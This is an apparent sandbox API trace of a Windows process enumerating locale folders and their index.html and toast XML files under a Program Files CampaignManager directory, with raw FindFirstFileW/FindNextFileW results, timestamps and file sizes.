	[0156.577] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9273d1f2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9273d1f2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.577] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.577] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.577] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0156.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.578] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0156.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.578] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS") returned 105
	[0156.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.582] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.582] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.582] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.582] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929796cf, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x929796cf, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.582] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.582] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.582] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.583] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0156.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.583] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE") returned 100
	[0156.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.611] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.612] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9702, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.612] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.612] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.612] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.612] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.612] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.614] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0156.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.614] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH") returned 100
	[0156.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0157.097] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.097] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x1007a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.097] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x306, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.097] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.097] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.097] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.097] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0157.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0157.100] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0157.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0157.100] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR") returned 100
	[0157.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0157.101] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.101] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.101] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93696451, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93696451, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.101] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938ac51e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x938ac51e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.102] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.102] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.102] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0157.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0157.103] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0157.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0157.103] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA") returned 100
	[0157.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0157.104] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.104] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd422, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.104] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x19338e00, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.104] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
